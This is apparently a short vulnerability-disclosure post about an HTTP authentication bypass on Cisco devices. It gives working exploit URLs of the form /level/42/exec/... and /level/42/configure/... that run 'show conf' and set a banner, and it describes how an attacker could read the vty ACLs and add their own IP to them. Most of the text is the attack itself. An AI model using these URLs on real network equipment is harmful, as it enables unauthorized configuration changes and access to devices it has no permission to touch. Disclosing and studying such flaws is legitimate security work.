Cisco device HTTP exploit...

[Half Adder]

You can also run configuration commands. :)

http://169.254.0.15/level/42/configure/-/banner/motd/LINE, etc.

Start with http://169.254.0.16/level/xx/configure  and go from there.

A malicious user could use:

http://169.254.0.15/level/42/exec/show%20conf

to get, for instance, vty 0 4 acl information and then add an ACL for
his/her source ip. 

I tested creating a banner.  I assume other configure commands will work
as well.  This was tested on a Cisco switch.  Anyone?